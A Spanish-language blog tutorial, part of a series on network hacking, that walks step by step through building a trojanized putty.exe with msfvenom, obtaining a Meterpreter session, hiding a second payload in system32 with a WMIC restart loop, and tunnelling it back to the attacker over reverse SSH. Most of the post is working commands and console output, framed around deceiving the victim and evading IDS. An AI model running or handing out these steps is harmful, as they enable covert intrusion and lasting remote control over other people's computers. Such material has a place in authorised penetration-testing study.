Inicio > Hacking, MetaSploit, Networking, Services - Software > Herramientas para Hacking en Entornos de Red – Hacking con SSH – Parte XIV

Herramientas para Hacking en Entornos de Red – Hacking con SSH – Parte XIV

Creando túnel SSH para sesiones Meterpreter Resilientes

Se trata de una técnica que intenta crear una sesión meterpreter resiliente, lo que quiere decir que si por alguna razón o por error se cierra la sesión meterpreter, esta puede ser iniciada nuevamente y enviada por medio de túneles SSH (tal como se ha visto en entradas anteriores) no crea de ningún modo una backdoor persistente ya que si la maquina remota es reiniciada el proceso de perderá si no se ha garantizado el acceso de forma persistente, sin embargo es un buen mecanismo para habilitar la conexión segura entre víctima y atacante por medio de un mecanismo de autenticación (proporcionado por SSH y Plink tal como en breve se verá) al decir, conexión segura quiero decir, conexión segura para el atacante, además este mecanismo también permite evadir soluciones de IDS que se encuentren establecidas en el entorno de la víctima, aunque en este aspecto Meterpreter por si solo ya realiza un estupendo trabajo de ofuscación y evasión.
El procedimiento que se ha utilizado para conseguir esto es el siguiente:

  1. En primer lugar es necesario comprometer el sistema objetivo utilizando por ejemplo, un ejecutable malicioso con la utilidad “msfvenom”
    >msfvenom -p windows/meterpreter/bind_tcp LPORT=9999 RHOST=192.168.1.40 R -e x86/shikata_gai_nai -i 3 -k -x /home/adastra/Escritorio/putty.exe -f exe > /home/adastra/Escritorio/puttyEvil.exe

    Con esto se genera un ejecutable malicioso que permite comprometer la maquina objetivo por medio de un programa que para la víctima es “confiable”, cabe anotar que la ejecución del comando anterior mantiene la plantilla de ejecución del programa “putty” de esta forma cuando la víctima ejecuté dicho programa esté funcionará de forma normal sin despertar ninguna sospecha en la víctima.

  2. Entregar el ejecutable malicioso al objetivo y obtener una sesión meterpreter una vez la víctima ejecuta el programa malicioso
    msf > use exploit/multi/handler

    msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp

    PAYLOAD => windows/meterpreter/bind_tcp
    msf exploit(handler) > show options 

    Module options (exploit/multi/handler):Name Current Setting Required Description

    —- ————— ——– ———–

    Payload options (windows/meterpreter/bind_tcp):

    Name Current Setting Required Description

    —- ————— ——– ———–

    EXITFUNC process yes Exit technique: seh, thread, none, process

    LPORT 4444 yes The listen port

    RHOST no The target address

    Exploit target:

    Id Name

    — —-

    0 Wildcard Target

    msf exploit(handler) > set LPORT 9999

    LPORT => 9999

    msf exploit(handler) > set RHOST 192.168.1.40

    RHOST => 192.168.1.40

    msf exploit(handler) > exploit

    [*] Started bind handler

    [*] Starting the payload handler…

    [*] Sending stage (752128 bytes) to 192.168.1.40

    [*] Meterpreter session 1 opened (192.168.1.33:52652 -> 192.168.1.40:9999) at Thu Aug 04 21:43:57 +0200 2011

    meterpreter >

     

    Se procede a crear el servicio resiliente en la maquina remota, para esto se crea un directorio que contendra dicho servicio.

    meterpreter > cd C:\\WINDOWS\\system32
    meterpreter > mkdir SshTrick

    Creating directory: SshTrick
    meterpreter > cd SshTrick

    En párrafos anteriores se ha creado un fichero llamado “puttyEvil.exe” con la utilidad “msfvenom” el cual conservaba la plantilla del ejecutable con el fin de no despertar sospechas en el usuario al ver que el programa “putty” simplemente no hacia absolutamente nada, para obtener la primera sesión meterpreter este mecanismo era perfectamente valido, sin embargo, para obtener una nueva sesión meterpreter “resiliente” es necesario que el programa malicioso se ejecute sin que tenga interacción con la víctima, ya que no tiene sentido que el usuario vea como “salta” la interfaz de Putty en su pantalla sin que él lo haya solicitado explícitamente, por este motivo el fichero ejecutable no puede conservar las funcionalidades de ejecución del programa original (en este caso putty.exe) por lo tanto se procede a crear un nuevo fichero malicioso pero en esta ocasión sin conservar la plantilla de ejecución original, lo que hará que se ejecute como un demonio sin que el usuario se enteré de que se esta ejecutando.

    >msfvenom -p windows/meterpreter/bind_tcp LPORT=9999 RHOST=192.168.1.40 R -e x86/shikata_gai_nai -i 3 -x /home/adastra/Escritorio/putty.exe -f exe > /home/adastra/Escritorio/puttyResilient.exe

    Como se puede apreciar simplemente se ha suprimido la opción “-k” para que no se conserve la plantilla original, ahora se procede a subir este fichero a la maquina comprometida.

    meterpreter > upload /home/adastra/Escritorio/puttyResilient.exe
    C:\\WINDOWS\\system32\\SshTrick
    [*] uploading : /home/adastra/Escritorio/puttyResilient.exe -> C:\WINDOWS\system32\SshTrick
    [*] uploaded : /home/adastra/Escritorio/puttyResilient.exe -> C:\WINDOWS\system32\SshTrick\puttyResilient.exe
    meterpreter > pwd
    C:\WINDOWS\system32\SshTrick

    Ahora con todo establecido en su sitio, se procede al siguiente paso y es la ejecución del fichero malicioso y la posterior creación del túnel SSH utilizando Plink.

  3. Es necesario ejecutar un comando WMIC de windows que permitirá comprobar si el servicio resiliente se encuentra en ejecución antes de proceder a su ejecución, para esto se pueden utilizar el script meterpreter “wmic” de la siguiente forma
    meterpreter > cd C:\\WINDOWS\\system32\\SshTrick meterpreter > run wmic -c “for /L %%i in (1,0,1) do ( process WHERE name=\’puttyResilient.exe\’ get name | find \’puttyResilient\’ && echo ‘meterpreter se encuentra en ejecucion’ || start puttyResilient.exe )”
    [*] running command wmic forC:\WINDOWS\system32\SshTrick\36206[*] running command wmic L %%i in (1,0,1) do ( process WHERE name=’puttyResilient.exe’ get name | find ‘puttyResilient’ && echo ‘meterpreter se encuentra en ejecucion’ || start puttyResilient.exe )C:\WINDOWS\system32\SshTrick\36206[*] Error running WMIC commands: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: The system cannot find the file specified.[*]

    Como se puede ver en el comando anterior, en primer lugar ha sido necesario navegar hacia el directorio donde se encuentra el ejecutable malicioso con el fin de poderlo ejecutar, las instrucciones siguientes solamente verifican si el ejecutable se encuentra entre los procesos en ejecución del sistema y si no es así intentará ejecutarlo. Aunque ha lanzado un error al final de su ejecución, se puede apreciar posteriormente que el proceso se ha creado correctamente ejecutando el comando “ps”

    meterpreter > ps
    Process list============PID Name Arch Session User Path— —- —- ——- —- —-0 [System Process]

    4 System x86 0

    ………………………………….

    716 puttyEvil.exe x86 0 JDAANIAL-6825E7\jdaanial C:\Documents and Settings\jdaanial\Desktop\puttyEvil.exe

    776 puttyResilient.exe x86 0 JDAANIAL-6825E7\jdaanial C:\WINDOWS\system32\SshTrick\puttyResilient.exe

    El proceso que se ha creado es el 776.

  4. Ahora que cuenta con el servicio resiliente levantado escuchando por el puerto “9999” de la maquina comprometida (tal como se había establecido en su creación con msfvenom) ahora se puede crear un puente reverso utilizando Plink. Antiguamente para realizar esta función era necesario de forma manual, subir el ejecutable de Plink y exportar la clave del registro de “host conocidos” a la maquina comprometida, sin embargo existe un script de Meterpreter que permite realizar todas estas tareas desde una única ejecución de la siguiente forma:
    meterpreter > run win32-sshclient -H 192.168.1.33 -u root -P password -R 5555:127.0.0.1:9999 -2 -N
    [*] ——-Executing Client ——
    meterpreter >

    Con lo anterior se crea un tunel reverso desde la maquina comprometida hacia la maquina del atacante (192.168.1.33) de esta forma cualquier conexión ejecutada desde la maquina comprometida por el puerto “9999” será redireccionadá a la maquina del atacante en el puerto “5555”, por otro lado se indican las opciones “-2” y “-N” que indican que se fuerza utilizar SSHv2 (-2) y que no se iniciará una consola con la ejecución del comando anterior, solamente se creará un proceso de “background” (-N). Desde la maquina del atacante podra verse como el puerto “5555” habilitado:

    netstat -ano | grep 5555
    tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN off (0.00/0/0)tcp6 0 0 :::5555 :::* LISTEN off (0.00/0/0)
  5. Desde la maquina del atacante será posible establecer una conexión contra la maquina de la víctima utilizando el puerto local 5555
    msf > use exploit/multi/handler
    msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
    PAYLOAD => windows/meterpreter/bind_tcp

    msf exploit(handler) > set LPORT 5555

    LPORT => 5555

    msf exploit(handler) > set RHOST 127.0.0.1

    RHOST => 127.0.0.1

    msf exploit(handler) > exploit

    [*] Started bind handler

    [*] Starting the payload handler…

    [*] Sending stage (752128 bytes) to 127.0.0.1

    [*] Meterpreter session 1 opened (127.0.0.1:45539 -> 127.0.0.1:5555) at Sat Aug 06 18:55:05 +0200 2011

    meterpreter >

     

    Como se puede apreciar del comando anterior, la conexión se ha establecido completamente desde la maquina local del atacante utilizando el puerto 5555 donde SSH se encargará posteriormente de realizar la conexión cifrada con la víctima.

Finalmente si la sesión meterpreter original se pierde por cualquier motivo, se puede utilizar el puente SSH para establecer una nueva sesión utilizando el proceso resiliente.

  1. Aún no hay comentarios.
  1. septiembre 9, 2011 en 5:43 pm

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: